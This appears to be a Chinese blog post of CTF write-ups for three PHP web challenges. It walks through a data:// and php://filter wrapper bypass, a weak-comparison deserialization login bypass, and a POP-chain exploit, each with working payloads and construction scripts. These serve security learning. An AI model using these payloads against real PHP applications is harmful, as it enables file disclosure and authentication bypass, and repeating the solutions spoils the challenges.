[ZJCTF 2019]NiZhuanSiWei、[HUBUCTF 2022 新生赛]checkin、[SWPUCTF 2021 新生赛]pop

目录

[ZJCTF 2019]NiZhuanSiWei

[HUBUCTF 2022 新生赛]checkin

1.PHP 关联数组      PHP 数组 | 菜鸟教程

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

[SWPUCTF 2021 新生赛]pop


[ZJCTF 2019]NiZhuanSiWei

BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)-CSDN博客

代码审计

<?php  
// 获取GET请求中的text、file和password参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];// 检查text参数是否设置,并且其内容是否等于"welcome to the zjctf"
if(isset($text) && (file_get_contents($text,'r')==="welcome to the zjctf")){// 如果条件满足,则输出text的内容echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";// 检查file参数是否包含字符串"flag"if(preg_match("/flag/",$file)){// 如果包含"flag",则输出"Not now!"并停止执行echo "Not now!";exit(); }else{// 如果不包含"flag",则包含指定的文件(例如:useless.php)include($file);  //useless.php// 将password参数反序列化$password = unserialize($password);// 输出反序列化后的password值echo $password;}
}
else{// 如果text参数未设置或其内容不等于"welcome to the zjctf",则高亮显示当前脚本的源代码highlight_file(__FILE__);
}
?>

第一层:

PHP file_get_contents() 函数

file_get_contents() 把整个文件读入一个字符串中。

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

GET传参text,内容为welcome to the zjctf。可使用date://协议(或POST传参php:input//协议)

GTE传参text:

?text=data://text/plain,welcome to the zjctf

第二层:

正则过滤了flag字符串,直接访问/useless.php依然为开始的代码

可使用php://filter   读取源代码并进行base64编码输出。

GET传参file:

php://filter/convert.base64-encode/resource=文件路径file=php://filter/convert.base64-encode/resource=useless.php

得到一段base64编码,解码得到一段php代码

<?php  class Flag{  //flag.php(注释存在flag.php)           //定义名为Flag的类public $file;                                    //公共属性 filepublic function __tostring(){                    //魔术方法,把对象当成字符串调用时触发if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>

第三层:进行序列化操作

<?php  
class Flag
{public $file='flag.php';
}  
$a=new Flag();
echo serialize($a);
?>

GET传参password:

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//最终payload?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin-CSDN博客

代码审计

<?php
// 显示当前文件的源代码
show_source(__FILE__);// 定义用户名和密码
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; // 包含flag.php文件,这里我修改了那两个值
include("flag.php");//here I changed those two// 获取名为'info'的GET参数,如果不存在则默认为空字符串
$info = isset($_GET['info']) ? $_GET['info'] : "";// 对获取的信息进行反序列化
$data_unserialize = unserialize($info);// 检查反序列化后的数据中的用户名和密码是否与定义的用户名和密码匹配
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {// 如果匹配,显示flagecho $flag;
} else {// 如果不匹配,显示错误消息echo "username or password error!";
}
?>

1.PHP 关联数组      PHP 数组 | 菜鸟教程

在 PHP 中,array() 函数用于创建数组

1.array()函数:采用以逗号分隔的键值对列表。每个键值对都写为键 => 值,其中键是字符串键,值是与键关联的值。

$student = array("name" => "line","age" => 100,"stream" => "Computer Science"
);

2.方括号表示法:定义数组,然后使用方括号表示法为其分配键值对。

$student["name"] = "line";
$student["age"] = 100;
$student["major"] = "Computer Science";

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型。 在转换的时候,非 0 为 true ,0 为 false 。

第一层:用户名和密码先被修改了,可用关联数组重新定义。

第二层:检查反序列化后的用户名和密码时使用了==若比较,故可将数组中的值全部设置为布尔值 true。

构造代码:

<?php
$info=array("username"=>true,"password"=>true);
echo serialize($info);
?>

构造payload,得到flag:

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop    (不是很会这个题,多学习)

打开环境,这是一个pop链  包含w44m、w22m、w33m三个类

<?php
error_reporting(0); // 关闭所有错误报告
show_source("index.php"); // 显示index.php文件的源代码,这可能是为了调试目的// 定义一个名为w44m的类,它有两个私有属性:admin和passwd
class w44m{private $admin = 'aaa'; // admin属性的默认值是'aaa'protected $passwd = '123456'; // passwd属性的默认值是'123456'// Getflag方法用于检查admin和passwd的值是否匹配,如果是则包含flag.php文件并输出$flagpublic function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin; // 输出admin的值echo $this->passwd; // 输出passwd的值echo 'nono'; // 输出字符串'nono'}}
}// 定义一个名为w22m的类,它有一个公共属性w00m
class w22m{public $w00m;// __destruct魔术方法在对象被销毁时调用,这里只是简单地输出w00m的值public function __destruct(){echo $this->w00m;}
}// 定义一个名为w33m的类,它有两个公共属性w00m和w22m
class w33m{public $w00m;public $w22m;// __toString魔术方法在对象被当作字符串时调用,这里调用了w00m对象的w22m属性所指向的方法public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}// 通过GET请求获取名为w00m的参数,并将它的值反序列化成一个对象
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

第一层:需要构造pop链,w44m类里面的Getflag()函数可以用来读取flag,因此将它作为pop链的尾部。

第二层:w33m类中,$this->w00m->{$this->w22m}();能调用函数

      所以需要给$w00m赋一个w44m类,然后再给$w22m赋一个Getflag(),就能成功调用该函数。

第三层:__toString魔术方法在对象被当作字符串时调用,w22m类中echo $this->w00m;使用了__destruct()类的析构函数,对象被销毁时触发。

所以要给w00m赋一个w33m类,就能调用w33m类。

构造代码:

<?php
class w44m{private $admin='w44m';protected $passwd='08067';
}class w22m{public $w00m;
}class w33m{public $w00m;public $w22m;
}$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';echo urlencode(serialize($a));
?>

构造payload,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/23635.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32-16-ADC

STM32-01-认识单片机 STM32-02-基础知识 STM32-03-HAL库 STM32-04-时钟树 STM32-05-SYSTEM文件夹 STM32-06-GPIO STM32-07-外部中断 STM32-08-串口 STM32-09-IWDG和WWDG STM32-10-定时器 STM32-11-电容触摸按键 STM32-12-OLED模块 STM32-13-MPU STM32-14-FSMC_LCD STM32-15-DMA…

docker-compose部署 kafka 3.7 集群(3台服务器)并启用账号密码认证

文章目录 1. 规划2. 服务部署2.1 kafka-012.2 kafka-022.3 kafka-032.4 启动服务 3. 测试3.1 kafkamap搭建&#xff08;测试工具&#xff09;3.2 测试 1. 规划 服务IPkafka-0110.10.xxx.199kafka-0210.10.xxx.198kafka-0310.10.xxx.197kafkamp10.10.xxx.199 2. 服务部署 2.1…

【启明智显技术分享】sigmastar ssd202d双网口开发板多串口调试说明

提示&#xff1a;作为Espressif&#xff08;乐鑫科技&#xff09;大中华区合作伙伴及sigmastar&#xff08;厦门星宸&#xff09;VAD合作伙伴&#xff0c;我们不仅用心整理了你在开发过程中可能会遇到的问题以及快速上手的简明教程供开发小伙伴参考。同时也用心整理了乐鑫及星宸…

Windows系统没有Hyper-v的解决方法

在控制面板-程序-启用或关闭Windows功能下找不到Hyper-v节点 Windows10解决方法&#xff1a; 解决办法 1.将下面命令复制到文本文档中&#xff0c;并将文档重命名Hyper.cmd pushd "%~dp0" dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt …

GAT1399协议分析(9)--图像上传

一、官方定义 二、wirechark实例 有前面查询的基础,这个接口相对简单很多。 请求: 文本化: POST /VIID/Images HTTP/1.1 Host: 10.0.201.56:31400 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive content-type:…

LCTF 2018 bestphp‘s revenge

考点:Soap原生类Session反序列化CRLF注入 <?php highlight_file(__FILE__); $b implode; call_user_func($_GET[f], $_POST); session_start(); if (isset($_GET[name])) { $_SESSION[name] $_GET[name]; } var_dump($_SESSION); $a array(reset($_…

024、工具_慢查

1)发送命令 2)命令排队 3)命令执行 4)返回结果 需要注意,慢查询只统计步骤3)的时间,所以没有慢查询并不代表客 户端没有超时问题。 参数配置 slowlog-log-slower-than 单位是微秒(1秒=1000毫秒=1000000微秒),默认值是10000 lowlog-log-slower-than=0会记录所有的命…

【leetcode--文本对齐(还没整理完)】

根据题干描述的贪心算法&#xff0c;对于每一行&#xff0c;我们首先确定最多的是可以放置多少单词&#xff0c;这样可以得到该行的空格个数&#xff0c;从而确定该行单词之间的空格个数。 根据题目中填充空格的细节&#xff0c;我们分以下三种情况讨论&#xff1a; 当前行是…

C语言实现教学计划编制问题,Dev C++编译器下可运行(240606最新更新)

背景&#xff1a; 问题描述 大学的每个专业都要编制教学计划。假设任何专业都有固定的学习年限&#xff0c;每学年含两学期&#xff0c; 每学期的时间长度和学分上限都相等。每个专业开设的课程都是确定的&#xff0c;而且课程的开设时间的安排必须满足先修关系。每个课程的先…

自定义Springboot Starter

创建一个Springboot Starter&#xff0c;借助该Starter我们可以自定义欢迎消息。 本Starter的内容不是重点&#xff0c;重点是创建Starter的流程。 1. 创建Starter工程 1.1 创建Springboot项目 1.2 导入相关依赖&#xff0c;删除spring-boot-maven-plugin <?xml version&…

java小游戏-坦克大战1.0

文章目录 游戏界面样式游戏需求分析设计类过程1&#xff1a;初始化界面过程2&#xff1a;用面向对象思想设置功能过程3&#xff1a;调用类实例化对象过程4&#xff1a;联合调试 项目代码下载&#xff1a; CSDN_java小游戏-坦克大战1.0 来源&#xff1a;该游戏来自尚学堂~&…

企业在现代市场中的战略:通过数据可视化提升财务决策

新时代&#xff0c;财务规划团队不仅仅是企业内部的一个部门&#xff0c;更是帮助企业做出明智决策和设定战略目标的中坚力量。在当今瞬息万变的商业环境中&#xff0c;财务专业人士需要具备应对挑战并引导企业走向成功的角色职能。企业领导者时常面临着数据压力&#xff0c;需…

OpenCV的“画笔”功能

类似于画图软件的自由笔刷功能&#xff0c;当按住鼠标左键&#xff0c;在屏幕上画出连续的线条。 定义函数&#xff1a; import cv2 import numpy as np# 初始化参数 drawing False # 鼠标左键按下时为True ix, iy -1, -1 # 鼠标初始位置# 鼠标回调函数 def mouse_paint(…

五个超实用的 ChatGPT-4o 提示词

GPT-4o 是 OpenAI 最近推出的最新人工智能模型&#xff0c;不仅具备大语言模型的能力&#xff0c;而且拥有多模态模型的看、读、说等能力&#xff0c;而且速度比 GPT-4 更快。下面我们就来介绍几个超实用的 GPT-4o 提示词&#xff0c;帮助大家更好地了解 GPT-4o 的功能和应用场…

Android 动态修改APP图标

文章目录 Android 动态修改APP图标定义activity-alias修改图标和App名监听APP前后台状态切换进入后台时切换修改图标和名字缺点 Android 动态修改APP图标 修改前&#xff1a; 修改后&#xff1a; 定义activity-alias 在 AndroidManifest.xml 中设置 activity-alias&#xff1…

RTA_OS基础功能讲解 2.8-Tick计数器

RTA_OS基础功能讲解 2.8-Tick计数器 文章目录 RTA_OS基础功能讲解 2.8-Tick计数器一、计数器简介二、计数器配置三、计数器驱动3.1 软件计数器驱动3.1.1 递增软件计数器3.1.2 静态计数器接口3.2 硬件计数器驱动3.2.1 Advancing硬件计数器3.2.2 回调函数四、在运行时访问计数器属…

JVM之【类的生命周期】

首先&#xff0c;请区分Bean的声明周期和类的声明周期。此处讲的是类的声明周期 可以同步观看另一篇文章JVM之【类加载机制】 概述 在Java中数据类型分为基本数据类型和引用数据类型 基本数据类型由虚拟机预先定义&#xff0c;引用数据类型则需要进行类的加载 按照]ava虚拟机…

AI大模型日报#0606:智谱AI开源GLM-4-9B、Pika再融5.8亿

导读&#xff1a;AI大模型日报&#xff0c;爬虫LLM自动生成&#xff0c;一文览尽每日AI大模型要点资讯&#xff01;目前采用“文心一言”&#xff08;ERNIE 4.0&#xff09;、“零一万物”&#xff08;Yi-Large&#xff09;生成了今日要点以及每条资讯的摘要。欢迎阅读&#xf…

【Linux】进程切换环境变量

目录 一.进程切换 1.进程特性 2.进程切换 1.进程切换的现象 2.如何实现 3.现实例子 2.环境变量 一.基本概念 二.常见环境变量 三.查询常见环境变量的方法 四.和环境变量相关的命令 五.环境变量表的组织方式 六.使用系统调用接口方式查询环境变量 1.getenv 2.反思 …

【简单讲解下TalkingData】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…